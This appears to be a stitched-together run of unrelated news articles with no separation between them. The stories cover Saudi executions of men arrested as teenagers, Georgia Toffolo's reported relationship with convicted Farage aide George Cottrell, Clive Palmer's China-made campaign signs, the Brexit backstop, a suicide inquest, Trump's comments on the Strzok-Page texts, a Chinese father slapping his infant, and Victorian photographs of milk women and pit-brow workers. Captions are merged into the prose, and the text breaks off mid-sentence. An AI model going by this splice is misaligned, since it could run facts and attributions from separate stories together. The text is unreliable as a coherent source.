Under international law, putting to death anyone who was under 18 at the time of the crime is strictly prohibited. Human rights charity Reprieve said al-Hawaj was beaten, tortured with electricity and chained with his hands above his head until he 'confessed' to his crimes. Reprieve said both men were sentenced to death at the end of 'sham trials' when they were denied access to lawyers. It claimed they were held for months in solitary confinement and their convictions were solely based on their 'confessions' which were extracted under torture. At the time of his arrest, staff at Western Michigan University said the English language and pre-finance studies student, Mujtaba al-Sweikat, showed 'great promise' and called for him to be released At his trial, al-Hawaj was convicted on cyber crime charges including spreading information on WhatsApp 'as proscribed by the cyber crime bill' and sentenced to death. Another victim, Hussein Mohammed al-Musallam, said in court: 'Nothing in these confessions is correct and I cannot prove that I was forced to do it. But medical reports ... show the effects of torture on my body.' Abdulkarim al-Hawaj was beheaded in Saudi Arabia after being arrested as a teenager for spreading details about peaceful protests on WhatsApp State-run media said on Tuesday those executed had 'adopted extremist ideologies and formed terrorist cells with the aim of spreading chaos and provoking sectarian strife'. The U.N. human rights chief condemned the beheadings, saying most were minority Shi'ite Muslims who may not have had fair trials and at least three were minors when sentenced. The sentences were carried out in Riyadh, the Muslim holy cities of Mecca and Medina, central Qassim province and Eastern Province, home to the country's Shiite minority. Three other prisoners who were under 18 at the time of their alleged crimes, Ali al-Nimr, Dawood al-Marhoon and Abdullah al-Zaher, remain on death row. Al-Marhoon told Reprieve he was tortured and made to sign a blank document, to which Saudi officials then added his 'confession'. Those who were executed on Tuesday had been sentenced 'for adopting terrorist and extremist thinking and for forming terrorist cells to corrupt and destabilise security', a statement published by the official Saudi Press Agency (SPA) said. Executions in the ultra-conservative kingdom are usually carried out by beheading. At least 100 people have been executed in Saudi Arabia since the beginning of the year, according to a count based on official data released by SPA. Congresswoman Rashida Tlaib (pictured) slammed Mohammed Bin Salman on Tuesday over the execution of al-Sweikat Abdullah al-Zaher (left) and Dawood al-Marhoon (right) were also sentenced to death for crimes they allegedly committed under the age of 18. Under international law, this is strictly prohibited and they remain on death row Crown Prince of Saudi Arabia Mohammad bin Salman (pictured) is the subject of scrutiny over alleged human rights abuses - court documents revealed the condemned pledged their allegiance to the royal family in desperation Last year, the oil-rich Gulf state carried out the death sentences of 149 people, according to Amnesty International, which said only Iran was known to have executed more people. Rights experts have repeatedly raised concerns about the fairness of trials in Saudi Arabia, governed under a strict form of Islamic law. People convicted of terrorism, homicide, rape, armed robbery and drug trafficking face the death penalty, which the government says is a deterrent for further crime. Made in Chelsea star Georgia Toffolo has been spending time with a wealthy aristocrat and former adviser to Nigel Farage who served time in a US jail for offering to launder money for drug lords, MailOnline can reveal. The I'm a Celebrity winner is rumoured to be dating George Cottrell, known by Farage's advisers as 'Posh George' whose family are said to be worth 300million. Friends say former 25-year-old Toffolo has been dating millionaire Cottrell, 25, for just over a month after meeting him at a social event. Made in Chelsea star Georgia Toffolo is rumoured to be dating to be dating shamed banker George Cottrell (pictured), whose family are said to be worth 300million Cottrell (pictured) is a former adviser to Nigel Farage who served time in a US jail after offering to launder money for drug lords, MailOnline can reveal They describe the two as now being an 'item' who spend a considerable amount of time together at his 2.5million flat in west London while also enjoying weekend breaks at the Cottrell family pile in Worcestershire. 'George is quite a character and a charmer, he has a real way with words,' a friend told MailOnline. Cottrell was spectacularly arrested in 2016 and led away in handcuffs by IRS agents His relationship with Georgia is well known to their friends and families, it's not something they are trying to hide. They are out in public a lot, doing normal things that couples do, like going shopping or going for dinner. 'I'm surprised nobody has realised until now who George is but I'm sure Georgia knows about his background. He's got quite a chequered history, having spent time in prison and is very high profile, given his connections to Farage. You could say that George is your typical upper class rogue.' Cottrell studied at the exclusive 40,000 a year Malvern College. He is the nephew of Lord Hesketh, a hereditary peer and former Conservative Party treasurer who defected to UKIP in 2011. Cottrell's mother, Fiona is the daughter of Lord Manton, a wealthy Yorkshire farmer and landowner who died in 2003. She once dated Prince Charles and was the Penthouse 'pet of the month' in October 1973, under the pseudonym Frances Cannon, describing herself as 'daughter of a landowner'. His wealthy businessman father Mark, attended Gordonstoun with Prince Andrew. Friends say former Made in Chelsea star Toffolo has been dating Cottrell for just over a month after meeting him at a social event Georgia and George spent Thursday afternoon together in the sunshine as the pair went shopping in London Georgia has reportedly spent a considerable amount of time together at his 2.5million flat in west London while also enjoying weekend breaks at the Cottrell family pile in Worcestershire After leaving school early and not going on to university, Cottrell entered into a career in private banking where he became known for having a canny eye for making money on stock markets and currency trading. He shot to prominence during the Brexit campaign, working for Farage for free and becoming a trusted member of his inner circle. Cottrell was spectacularly arrested and led away in handcuffs by IRS agents in July 2016 while with Farage, who maintained afterwards that he did not know about his background, at Chicagos OHare airport. They were returning to London after attending the Republican National Convention where they also met with Donald Trumps aides, just three weeks after the Brexit vote. He spent eight months in a US jail after being caught on the 'dark web', offering to launder the money through his offshore accounts to what he thought was a gang of drug traffickers. They were actually IRS agents carrying out an undercover operation. Before his arrest, Cottrell ran Farage's private office, handled all media enquiries for the former UKIP leader and was also one of his closest aides, playing a key role in the Brexit campaign. Cottrell spent eight months in a US jail after advertising his services on the 'dark web', offering to launder the money through his offshore accounts to what he thought was a gang of drug traffickers. They were actually IRS agents carrying out an undercover operation Before his arrest, Cottrell ran Farage's private office, handled all media enquiries for the former UKIP leader and was also one of his closest aides, playing a key role in the Brexit campaign Court documents at the time of his arrest in America show that Cottrell exchanged messages from London with IRS agents masquerading as drug dealers in Phoenix through an encrypted platform called Cryptocat. They said that they wanted to launder around 40,000 to 120,000 in drug money each month. The documents stated that Cottrell, using the alias Bill, told the agents that he could do this for them anonymously via his offshore accounts and met with what he thought was drug dealers in Las Vegas in 2014. Cottrell then told the undercover agents to send 15,500 to an associate in Colorado who would move the money into his bank accounts before transferring it back to them. The court indictment claimed that Cottrell intended to pocket the money. About a week later, Cottrell threatened to report the money laundering and drug trafficking to authorities unless the agents agreed to pay him 130 bitcoin, at the time worth 62,000. Cottrell said in his plea agreement during his March 2017 hearing that he 'explained various ways criminal proceeds could be laundered,' including ways to transfer large amounts of cash out of the United States to avoid reporting requirements and disguising proceeds from criminal activity as legitimate business income for tax purposes. The court documents also claimed that Cottrell had a 'serious, years-long gambling problem, which inherently suggests a strong possibility of irrational risk taking'. However, his lawyers say 20 of the 21 charges in the original indictment were dropped. United Australia Party leader Clive Palmer has been slammed as a hypocrite after it was revealed his 'Make Australia Great' signs are made in China. The politician's campaign slogan, printed on bright yellow signs throughout the country, was made to advertise his focus on boosting Australia's employment rate and local manufacturing. But it doesn't seem to be an idea the politician has taken too seriously, with some of his corflutes being created in China. Clive Palmer has been criticised as his 'Make Australia Great' signs are made in China The corflutes say they are authorised by Clive Palmer, but made in China. A party spokesman said the signs were ordered from overseas due to time constraints 'Printed by Dongguan Jianxin Plastic Products Co Ltd. 94 Qingfend East Road, Shijien, Dongguan City, Guangdong Province, China,' the poster read. Last month, it was revealed the campaign t-shirts were also made in China and former actor Bryan Wiseman, who was running for UAP, quit as a result. An image of the billboard was shared to Reddit and users have criticised the politician's decision to print his signs abroad. 'Clive Palmer is the personification of every negative stereotype about politicians all rolled into a single person,' one person said. 'This is so funny when you consider the fear campaign about China Palmer's been sending out over the last few months,' another said. One person commented: 'Everything about this guy is funny and bizarre, yet he wins votes, saving Aussies from China by printing s**t in China.' 'Like, make Australia great? Just signalling that he is both a racist piece of s**t and hugely unoriginal about it,' another said. It was revealed the campaign t-shirts were also made in China and former actor Bryan Wiseman who was running for UAP quit A United Australia Party spokesperson told the Courier Mail the party had spent 98.5 per cent of the printing budget in Australia and only 1.5 per cent in China. 'Time frames also meant printing of corflutes needed to be done overseas,' the spokesman said. Mr Palmer has also previously attacked the 'communist Chinese government' for stealing Australia's resources in 2014 and described them as 'mongrels' who 'shoot their own people' and 'haven't got a justice system.' Mr Palmer has spent more than $27million on newspaper ads, television ads and billboards around the country. Other major political parties spent an average of $16 million for the 2016 elections, according to Nielsen. Theresa May's most powerful backbencher today urged her to tear the Irish backstop from her deal if she is to have any hope of delivering Brexit after six months of stalemate. Sir Graham Brady is supporting a Tory Brexiteer plan to table a new amendment making the demand if Mrs May brings her deal back to the Commons. If passed, it would pile huge pressure on the Prime Minister to go back to Brussels to renegotiate - but the EU insists the Withdrawal Agreement set up last year will never be re-opened. Sir Graham told The Sun: 'It is difficult to see how introducing a bill in exactly the same shape as the current Withdrawal Agreement could secure a majority, as it has already been rejected three times. 'So I have urged the Government to build on the success of my amendment by incorporating the necessary reassurance about the backstop on the face of the bill'. Prime Minster Theresa May is followed from St Anne's Cathedral, Belfast, Irish Taoiseach Leo Varadkar yesterday as rumours swirled about Irish backstop changes yet again Sir Graham Brady (pictured left), chairman of the 1922 Committee, says Mrs May must solve the backstop problem to end the paralysis Ministers are piling pressure on Theresa May to bring back her Brexit deal within days - but she is so far resisting. The Prime Minister could decide to remove the controversial border clause in the hope MPs vote for it and send a new message to Brussels that it must be axed or changed if Britain is to leave the EU. Downing Street had hoped to bring forward the Withdrawal Agreement Bill next week in the hope of getting a version of Mrs May's deal through Parliament in time to cancel the European Parliament elections on May 23. But it was missing from yesterday's list of legislation to be considered by Parliament next week. And Tory whips have privately told ministers the idea has been put on hold for at least a week while the PM tries to secure enough backing for it to pass. Mrs May is being urged to try to renegotiate with the EU from Brexiteers in her own party including former leader Iain Duncan-Smith, the Tory ERG Spartans and the DUP. Foreign Secretary Jeremy Hunt and Commons leader Andrea Leadsom have voiced frustration at the Government's failure to find a way to break the Brexit deadlock. A source told ITV News Mrs May is 'seriously considering' the move - but a ministerial source added: 'We're still chasing unicorns, and eating up time'. Commons Leader Andrea Leadsom yesterday revealed there are no plans yet to hold the vote next week when detailing Commons business, but cranking up pressure on the PM she said: 'It is absolutely vital that we bring in the Withdrawal Agreement Bill to give this House the opportunity to make progress on delivering on the will of the people'. She said it would be 'absolutely unacceptable' to hold European Parliament elections three years after the UK voted to leave. The Brexit Party has surged into the lead in the race for the European elections b The EU insists Britain's Withdrawal Agreement cannot be reopened and in January ignored MPs when they voted for the so-called Brady amendment demanding the planned Irish backstop to be replaced by 'alternative arrangements'. Responding to suggestions Theresa May's official spokesman insisted the EU will not budge. He said: 'In order to ratify the Withdrawal Agreement - which is what's necessary for us to leave the EU - then obviously the Government would have to secure the whole of the Withdrawal Agreement with the EU.' What is the Irish border backstop and why do Tory MPs hate it? The so-called Irish border backstop is one of the most controversial parts of the PM's Brexit deal. This is what it means: What is the backstop? The backstop was invented to meet promises to keep open the border between Ireland and Northern Ireland even if there is no comprehensive UK-EU trade deal. The divorce deal says it will kick in automatically at the end of the Brexit transition if that deal is not in place. If effectively keeps the UK in a customs union with the EU and Northern Ireland in both the customs union and single market. This means many EU laws will keep being imposed on the UK and there can be no new trade deals. It also means regulatory checks on some goods crossing the Irish Sea. Why have Ireland and the EU demanded it? Because Britain demanded to leave the EU customs union and single market, the EU said it needed guarantees people and goods circulating inside met EU rules. This is covered by the Brexit transition, which effectively maintains current rules, and can in theory be done in the comprehensive EU-UK trade deal. But the EU said there had to be a backstop to cover what happens in any gap between transition and final deal. Why do critics hate it? Because Britain cannot decide when to leave the backstop. Getting out - even if there is a trade deal - can only happen if both sides agree people and goods can freely cross the border. Brexiteers fear the EU will unreasonably demand the backstop continues so EU law continues to apply in Northern Ireland. Northern Ireland MPs also hate the regulatory border in the Irish Sea, insisting it unreasonably carves up the United Kingdom. What concessions did Britain get in negotiating it? During the negotiations, Britain persuaded Brussels the backstop should apply to the whole UK and not just Northern Ireland. Importantly, this prevents a customs border down the Irish Sea - even if some goods still need to be checked. The Government said this means Britain gets many of the benefits of EU membership after transition without all of the commitments - meaning Brussels will be eager to end the backstop. It also got promises the EU will act in 'good faith' during the future trade talks and use its 'best endeavours' to finalise a deal - promises it says can be enforced in court. What did the legal advice say about it? Attorney General Geoffrey Cox said even with the EU promises, if a trade deal cannot be reached the backstop could last forever. This would leave Britain stuck in a Brexit limbo, living under EU rules it had no say in writing and no way to unilaterally end it. Advertisement The spokesman added: 'It was set out at the most recent European Council that the EU's established position was that they wouldn't reopen the Withdrawal Agreement.' Reports had suggested the Bill could be moved next week and the Government has shown in recent months it is prepared to change the timetable of the Commons at short notice if required. Mrs Leadsom later confirmed a debate would be held 'in due course' to consider senior Tory Sir Bill Cash's bid to annul a statutory instrument which changed the Brexit date from April 12 to October 31. On Friday the Prime Minister accused Labour leader Jeremy Corbyn of dragging his feet on cross-party Brexit talks, with an agreement looking unlikely. Unless the PM can pass her deal Britain is heading for a second referendum or a general election, with No Deal already ruled out by remainer MPs who passed legislation to block it. Mrs May told the Cabinet that the cross-party talks with Labour had become 'difficult' when ministers tried to force the pace in order to get a deal done in time to avoid next month's European parliament elections. It came amid signs that the PM could try to break the deadlock by bringing forward legislation to enact her Brexit deal as early as next week. Ministers discussed the 'growing possibility' that parliament could vote to revoke Article 50 and cancel Brexit if the Government cannot pass a deal. In Cabinet, Commons Leader Andrea Leadsom urged Mrs May to order a fresh vote within days. The move, supported by other Brexiteer ministers, would see the full Withdrawal Agreement Bill allowing the UK to leave the EU debated in the Commons next week. The PM's official spokesman confirmed that sticking points included Labour's demand for a permanent customs union and Mr Corbyn's reluctance to fast-track the process in order to avoid the European elections on May 23. In Cabinet, Leader of the Commons Andrea Leadsom urged Mrs May to order a fresh vote on Brexit within days. The high-stakes move, which won support from several other Brexiteer ministers, would see the full Withdrawal Agreement Bill - which allows the UK to leave the EU debated in the Commons next week. Under her plan, the Bill would be published within days ahead of two days of debate early next week. Home Secretary Sajid Javid is also understood to have called for legislation to be brought forward. Ministers have been warned they will have to cancel planned foreign engagements next week if the move goes ahead as they will be needed for votes in the Commons. The Mail understands Mrs Leadsom mounted a lobbying operation of her Cabinet colleagues over the Easter break urging them to back the plan. It would avoid the need for a fresh 'meaningful vote' on the deal and - if it passed - would ensure the UK left the EU before the end of June. However, chief whip Julian Smith is thought to have warned that the votes for the deal are 'not there yet'. A senior Tory source last night said the government would need an assurance from Labour that the Bill would not be rejected outright at the first hurdle. Mrs Leadsom wants to amend the Bill to include a legal pledge to secure 'alternative arrangements' to the Northern Ireland backstop by the end of next year. This would appeal to hard line Eurosceptic Tories who have refused to back the deal. But education secretary Damian Hinds dismissed the idea as 'a mirage'. Any move to bring forward the Withdrawal Agreement Bill would be fraught with danger. If the Bill was defeated in the Commons, Mrs May could only bring it back by starting a new session of Parliament, which would require a new Queen's Speech. This is also the danger of amendments Mrs Leadsom has told friends: 'If the Withdrawal Agreement is going to be a dogs' dinner, then at least we need to look like we have fought tooth and nail to make it work.' Mrs May faced criticism over the decision to talk to Labour at yesterday's cabinet meeting, which was the first since she agreed to extend Article 50 until October 31. A young father has killed himself six years on from being brutally attacked by a gang after becoming paranoid the men were out to get him again, an inquest heard. Daniel Grocott, 33, hanged himself in his shed at his home in Leigh, Staffordshire in February this year. He became increasingly paranoid a gang who attacked him in May 2012 were out to get him again, North Staffordshire Coroner's Court heard Daniel Grocott, 33, hanged himself in his shed at his home in Leigh, Staffordshire and was found by his fiancee Rachel Johnson who saw him through a window and immediately dialled 999, back in February. In the lead up to Christmas 2018, he was in a pub with friends when he saw a man he recognised as one of the men who attacked him, North Staffordshire Coroner's Court heard. The mechanic was brutally beaten up at work over the disappearance of a van by four men in May 2012. He contacted police after the attack but there was no CCTV or forensic evidence, Mr Grocott eventually withdrew his statement and his case was closed in August that year. After spotting one of his attackers December 2018, the father-of-two became increasingly paranoid and he convinced himself the gang were following him in different cars, although no one else saw the vehicles. Just two days before Christmas, Mr Grocott saw a vehicle with four men inside who he believed had attacked him. On December 27 he installed CCTV at his home as he grew increasingly paranoid he was being about to be targeted again. In the weeks before his death his fiancee Ms Johnson became concerned for his mental health, he visited a doctor and was diagnosed with post-traumatic stress disorder. In a statement, she said they visited his parents' home on February 10, and recalled he said: "It's not good when nobody believes you". He thought we didn't believe him'. She said he drove home very quickly which she said was 'a little out of character'. 'When we got home I stayed in the kitchen sorting out a bottle and he took one of the children to bed. 'He came downstairs and told me he was going outside to feed the sheep in the shed. We'd been talking about the week ahead and I didn't think anything, then after five minutes when he hadn't returned I went to look for him. 'I went to the window and I see could see Daniel inside. I rang 999 and started CPR.' His fiancee Rachel Johnson said in a statement: 'I went to the window and I see could see Daniel inside. I rang 999 and started CPR.' Mr Grocott was rushed to Royal Stoke University and placed on the critical care unit, but was severely brain damaged and died the next day When paramedics arrived they managed to get a pulse and he was rushed to Royal Stoke University Hospital by helicopter. He was placed on the critical care unit, but was severely brain damaged and died the next day. Mr Grocott's cause of death was given as a brain injury due to asphyxiation. Police said there was no evidence to suggest there had been any third party involvement in his death. North Staffordshire's Assistant Coroner Sarah Murphy recorded a conclusion of suicide. She said: 'This is a tragic case of a young man, a mechanic, engaged to be married with two young children.' If you have been affected by this story, and are in the UK, call The Samaritans at any time, from any phone for FREE, on 116 123, or call Mind's Infoline from Monday to Friday on 03001233393 or text 86463. Donald Trump has hit out at two FBI officials fired from the Mueller investigation, calling the text messages sent between them evidence of a 'coup'. In an interview on Thursday, Trump expressed anger at agents Lisa Page and Peter Strzok who sent messages discussing people inside the administration they could 'develop for potential relationships'. 'They were trying to infiltrate the administration,' Trump told Sean Hannity in a phone call on Fox News. 'Really, it's a coup. It's spying. It's hard to believe in this country we would have had that.' He continued: 'I think it's far bigger than Watergate, I think it's possibly the biggest scandal in political history in this country, maybe beyond political.' Scroll down for video 'They were trying to infiltrate the administration,' Trump told Sean Hannity in a phone call on Fox News Thursday In an interview with Hannity (pictured) on Thursday, Trump expressed anger at agents Lisa Page and Peter Strzok who sent messages discussing people inside the administration they could 'develop for potential relationships' Strzok, a former FBI agent, was an integral part of Special Counsel Robert Mueller's Russia probe until he was fired last summer. He and FBI lawyer Lisa Page, his lover at the time, famously shared text messages suggesting the probe was an 'insurance policy' against the unlikely chance Donald Trump would win the 2016 presidential election. Trump said Page and Strzok 'were dirty cops' and 'sick people' and claimed, 'this was an attempted overthrow of the United States government'. FBI Assistant Director for Counterintelligence Bill Priestap testified last June that the illicit relationship between Strzok and Page made them a security risk. President Trump claimed the text messages sent between Lisa Page and Peter Strzok were tantamount to a 'coup'. Trump is pictured at the White House on April 25 Deputy Assistant FBI Director Peter Strzok was a central part of the Mueller investigation into alleged Russian interference in the 2016 election He and Lisa Page, former legal counsel to former FBI Director Andrew McCabe, discussed people inside the Trump government they could 'develop for potential relationships.' The amorous pair confided in each other their views about Trump, using words like 'idiot,' 'loathsome,' 'menace' and 'disaster' apparently not realizing that their cellphones and wireless accounts were subject to search by government investigators THE SHOCKING TEXTS BETWEEN THE FBI OFFICIALS March 2016: Page, sent a text to Strzok saying: 'God, Trump is a loathsome human... omg he's an idiot.' 'He's awful,' Strzok replied. 'Yet he may win' (the Republican nomination), he said, adding that could be 'Good for Hillary.' Strzok later added that Hillary 'should win 100,000,000-0.' March 2016: Page texted Strzok: 'I can not believe Donald Trump is likely to be an actual, serious candidate for president.' The same month, Page texted asking if Strzok had heard Trump: 'Make a comment about the size of his d*ck earlier? This man can not be president.' July 2016, Strzok texted: 'HE [Trump] appears to have no ability to experience reverence which I [SIC] the foundation for any capacity to admire or serve anything bigger than self to want to learn about anything beyond self, to want to know and deeply honor the people around you.' Advertisement That risk existed at a time when the FBI was building a case that Trump was compromised in the same way. The furtive text messages between Strzok and Page included criticism of Trump using words like 'idiot,' 'loathsome,' 'menace' and 'disaster.' In one August 2016 exchange, Page wrote to Strzok: '[Trump's] not ever going to become president, right? Right?!' Strzok responded: 'No. No he won't. We'll stop it.' In another, Page wrote: 'God trump is a loathsome human.' The texts date back to 2015, shortly after Trump announced his plans to run for President. In 2017 messages the duo revealed their outrage at their boss James Comey being controversially fired by the President on May 9, 2017. 'Having a tough time processing tonight, Lis. Feeling a profound sense of loss,' Strzok wrote to Page on May 13, according to CBS. 'I feel that same loss. I want (sic) to see what the FBI could become under him! His vision of greatness for our strong but flawed organization,' Ms Page responded. 'I'm angry. Angry and mourning.' In one August 2016 exchange, Page wrote to Strzok: '[Trump's] not ever going to become president, right? Right?!' Strzok responded: 'No. No he won't. We'll stop it' A DOJ inspector general report has found the texts are 'not only indicative of a biased state of mind but, even more seriously, impl[y] a willingness to take official action to impact the presidential candidate's electoral prospects. This is antithetical to the core values of the FBI and the Department of Justice.' Both Page and Strzok served for a time on Mueller's investigative team. Page left herself after a 45-day detail, while Strzok was removed after the texts came to light. During the Hannity interview Trump also brought up the unsubstantiated claim that President Obama had wiretapped Trump Tower in the run-up to the election. He told Hannity that his claims got attention 'like you've never seen'. He also admitted that his allegations were only based on a 'little bit of a hunch.' A Chinese man has been investigated after being filmed savagely slapping his crying baby in the face. The father allegedly hit his 10-month-old child because he was angry at the fact that the infant had cerebral palsy, which led to learning difficulties. Accounts on social media claimed that the man was furious as the baby, reported to be a boy, was not capable of lifting his head or sitting upright steadily. The father is seen slapping his baby in the face six times in a video allegedly filmed by his wife. The family from Nanchang, China, have been accused of abusing their child, reportedly a boy It is also alleged that the man, who is yet to be identified, had refused to take his son to seek medical assistance and said that he wished the child to die. The shocking footage, said to be filmed by the baby's mother, first appeared on popular Chinese messaging app WeChat before being widely shared, sparking an outrage among social media users. The clips show the man from the city of Nanchang in Jiangxi Province smacking his child's head six times while the baby was sitting on his lap crying. The man is also seen lifting the infant over his head with both hands. The baby's mother claimed to the press that her husband beat the boy as he wouldn't stop crying. She denied allegations of child abuse but confirmed that the baby has cerebral palsy Stunned viewers have accused the father of child abuse. WHAT IS CEREBRAL PALSY? Cerebral palsy is the umbrella term for a number of brain conditions that affect movement and coordination. Specifically, it is caused by a problem in the parts of the brain responsible for controlling muscles. The condition can occur if the brain develops abnormally or is damaged before, during or shortly after birth. One in every 400 children in the UK are thought to be born with cerebral palsy, meaning around 1,800 children a year have the condition. It's estimated that 764,000 children and adults in the US have one or more symptoms of the disorder. There's no cure for cerebral palsy, but some treatments are available to ease symptoms, such as physiotherapy. Life expectancy is usually unaffected, however, the emotional and physical strain can put a great deal of stress on the body which can cause further problems in later life. Advertisement One user of China's Twitter-like Weibo said: 'Poor child! [He] already has to face a most difficult life, and then meets the parents who can't accept him.' Another commentator condemned: 'The mother was still filming? Why [didn't she] go to stop it at once!' The baby's mother, Ms Huang, has denied allegations that her husband beat their baby because of the child's physical condition. She told the press that her son had been born prematurely and did have cerebral palsy - a group of brain conditions that affect one's movement and coordination. But she claimed that her husband beat the boy as the baby wouldn't stop crying. Speaking to Btime.com, she said: 'I was cooking and had to give [the baby] to the father to hold. He cried, so his father hit him a few times.' The mother added that her husband had act in a fit of rage and expressed regret for his behaviour. She insisted her baby was well and uninjured. The Nanchang Women's Association launched an investigation into the matter yesterday. A spokesperson told Red Star News that officials had visited the family and found out that the baby is a cerebral palsy sufferer. However, investigation shows the parents have not abused their child, according to the spokesperson. It is said that the family are less-fortunate and the father is the sole breadwinner, but the parents provide the best food they could afford for the baby and have been taking the baby to hospital for treatment. The mother claimed that her husband 'patted' their child in order to see the baby's reaction, the spokesperson added. The Nanchang Women's Association have reportedly hired a psychologist for the baby's parents and offered financial assistance to the family. Advertisement These are the rare and eye-opening photographs of London milk women in the 19th century - which would never have existed if it were not for one obsessed Victorian diarist. The remarkable images of weather-beaten milk maidens all date from 1872 and were collected by Arthur Munby. Little is known or recorded about the working life of milk women in Victorian London, which makes Munby's photographs all the more extraordinary. Munby, was fanatical about working women in Victorian Britain and documented women miners and fisher girls amongst other professions. But it was in London where Munby spent most of his time and would wander the streets looking for working class females - particularly milk maidens - who he would approach to ask the details of their lives. Two women, both of whom worked for Stoat's Dairy in Marylebone, are pictured in 1872 standing next to their milk cans which they would carry through the streets on their shoulder yokes Such was his passion he had nicknames for the different milk women he saw on the streets of Mayfair, Marylebone and Kensington. One woman, whose real name was Kate O'Cagney, he nicknamed the Queen Kitty. He wrote of her in 1861: 'Going across Grosvenor Square, I saw a tall graveful woman cross the road in front of me, walking between two milk cans. Her simple bonnet was shabbier than of old, and the little shawl, that did not half cover her broad shoulders, was new to me; but the strong boots and short cotton frock were the same, and the firm elastic tread under her load, and the tall muscular figure too, though it was losing its maidenly fullness, and growing somewhat gaunt. 'It was Kate O'Cagney, the Queen of the London milk women. 'And she is so still; though the soft complexion of her handsome face is changed, as I saw her today, into a weather-beaten brown, and though the full curves of her sumptuous form are sharpening into lines of strength. The yoke and pails that diarist Arthur Munby speaks of are pictured in all the milk women photos. The cumbersome devices would have been extremely heavy to lug around when full of the white liquid 'It would not be so if she had been a lady - a well-preserved beauty of that Mayfair through which she passed daily, a rustic contract; but we must work, nous autres - and Kitty is seven and twenty now, and for nine long years she has walked her rounds every day, carrying through London streets her yoke and pails, and her 48 quarts of milk, in all weathers, rain or fair.' The yoke and pails Munby speaks of is pictured in all the milk women photos. The cumbersome devices would have been extremely heavy to lug around when full of the white liquid. Munby was tantalised over the milk maidens, as demonstrated with a passage later in that same diary entry and he attempted to speak to 'Queen Kitty.' He wrote: 'Looking down at her large hands, redder now than ever, I saw with surprise no wedding ring there. Arthur Munby was fanatical about working women in Victorian Britain, and documented women miners and fisher girls amongst other professions '"Well, Kate!" I said in passing; and the stately wench turned half-round but did not stop or start. 'Oh, Sir!' she exclaimed, opening wide her mouth and her large grey eyes. "'So you are not married, after all?" "No Sir" she answered, with a sly shamefaced smile and a downcast look. 'To stop and talk to a milkmaid in Grosvenor Square is a test of moral courage which I was prepared to undergo; but it might have compromised poor Kitty's unsullied reputation: so after one and two enquiries about her, made by me without looking at her (vile subterfuge!) and answered by her from behind, I walked away.' Munby had an idealist view of milk woman, he revelled in the thought of them facing down all weather without any shelter. Going as far as describing an umbrella as 'that degrading instrument' and described one milk woman who carried one as 'effeminate.' Given his love for the profession, Munby was totally unconcerned by the fact that milk being sold in dirty cans caused an outbreak of typhoid fever in Marylebone Fanciful Munby wasn't worried with the practical problems of selling milk. For him, the maidens stood for tradition, unspoilt rural life and he was totally unconcerned by the fact that milk sold in dirty cans caused an outbreak of typhoid fever in Marylebone. In a hilarious extract he tells the story of a stoic milk girl walking through Westminster. He wrote: 'In the Adelphi yesterday, I saw a stout milklass walking along between her cans. Two boys, seeing her this loaded, threw something at her from behind, and hit her. 'She said nothing, did not even turn round: but quietly set down her pails, hooked her harness together across her breast, and strode after them as they fled. 'In five yards she overtook the hindmost; boxed his ears without speaking a word; returned to her cans, and went on her way.' Who was Arthur Munby? The poet, barrister and philanthropist who took a special interest in the work of women Born in York in 1828, Arthur Munby was a member of high society in the 19th century and worked in a number of prestigious jobs. After graduating from Trinity College, Cambridge, in 1851, he became a barrister four years later and was called to the bar. Then in 1858 he began a 30-year job with the Ecclesiastical Commissioners as a civil servant, retiring in 1888. But it was his extracurricular exploits that he has been remembered for, including his fascination with working women. He was particularly interested in their bodies, writing in diaries about how fisher girls and miners had 'very large arms and hands' and were 'sturdy'. A passionate photographer, he took hundreds of pictures of working class women over the decades including kitchen maids, milkmaids and even acrobats. He was also an amateur artist and would include sketches of working women in his diaries. Mr Munby's interest in working women also extended to helping them improve their standing, and he helped set up an adult education school in north London in 1864. It came after he spent the previous decade teaching Latin at a similar school for working men. Mr Munby was also well known for his relationship with Hannah Cullwick, a maid from Shropshire. They married secretly in 1873, but their relationship is said to have been more 'master and servant' than husband and wife. The marriage ended four years later and was only revealed by Mr Munby to his brother months before his death. Advertisement Heroic 'broo-wenches' who scandalised Victorian Britain by working NAKED to help them cope in the intense heat of the collieries and wearing trousers are pictured in newly-unearthed black and white portraits Fascinating images have revealed the heroic actions of Britain's 'broo-wenches' who scandalised Victorian society by working in trousers and even naked while mining underground. When a Victorian newspaper ran a front page picture of a Wigan colliery girl in her uniform, it sent shockwaves through Britain. This had followed a report containing sketches of half-naked women working underground alongside men, a report that resulted in calls for women to be kicked out of the searing hot coal pits. The 'unladylike' image disgusted many, but the Northern working-class women had their supporters too. One such man was Arthur Munby, whose fascinating collection of images of the Pit Brow Women have recently been unearthed. Jane Brown, a pit brow girl from Wigan, poses with a large shovel (shown left), while a trio of women are shown in their traditional uniform with a sieve, which they used to pick stones from the coal after it was hauled to the surface from deep inside the coal mines dug out from underground A drawing of a half-naked girl dragging a loaded corf along a low mine passage near Halifax in Yorkshire, sometime in 1842. The engraving was used to illustrate a report on the employment of women in mines, that saw them banned from working underground that same year. Many expressed disgust at the idea of women working while partially clothes Sketches of half-naked women (including a man, second image) working underground alongside men resulted in calls for women to be kicked out of the searing hot coal pit, with Victorian Britain taking a dim view on women working in such close proximity with men while in a state of undress Young looking pit brow girls just before starting work, Wigan, 1893. Several decades before, women and boys under under 10 years old were banned from working underground, meaning all the little girls became broo lasses, working on the surface above the mines Pictured left is Ellen Grounds as a 17-year-old as a broo lass at the Rode Bridge Pits in 1866. Shown right, Ellen is pictured once again as a 22-year-old at the same pits with photographer Arthur Munby, who chose to pose alongside Ellen to show how tall she was, which was common among broo lasses A particularly tall female collier from Rose Bridge Pits in Wigan, who measured 5ft 9in, is pictured left on August 10, 1869. Meanwhile, a similarly dressed lass is shown resting on her shovel. Notice the outfit, which featured both trousers and a skirt over the top Shevington Colliery near Wigan, photographed in 1863. Pictured are a group of women working at the surface. They worked on the pit bank (pictured) at the shaft top, where they were tasked with picking stones from the coal after it was hauled to the surface Mr Wright, landlord of the Three Crowns and two Pit Brow Women in Wigan on some date in 1865 is pictured left. Meanwhile, shown right is an unknown pit brow woman in Wigan, circa 1867 to 1888 The striking pictures show the heroic women in their working gear. A uniform that consisted of a headscarf to shield their hair from dirt, a long ankle-length skirt and most shockingly of all, trousers underneath. Munby, an enthusiastic supporter of working women in the 19th century Britain, would make frequent trips to Wigan and other industrial towns to document his heroines. However, as photography was a new invention in the mid 19th-century, it wasn't straight forward. He would have to convince the labouring women into a nearby photographer's studio where they would have to pose very still for up to several seconds whilst the exposure was made. This makes for interesting pictures that show rugged, weather-worn women posing in front of a back drop that was intended to be used for the middle-classes posing in their Sunday best. In the 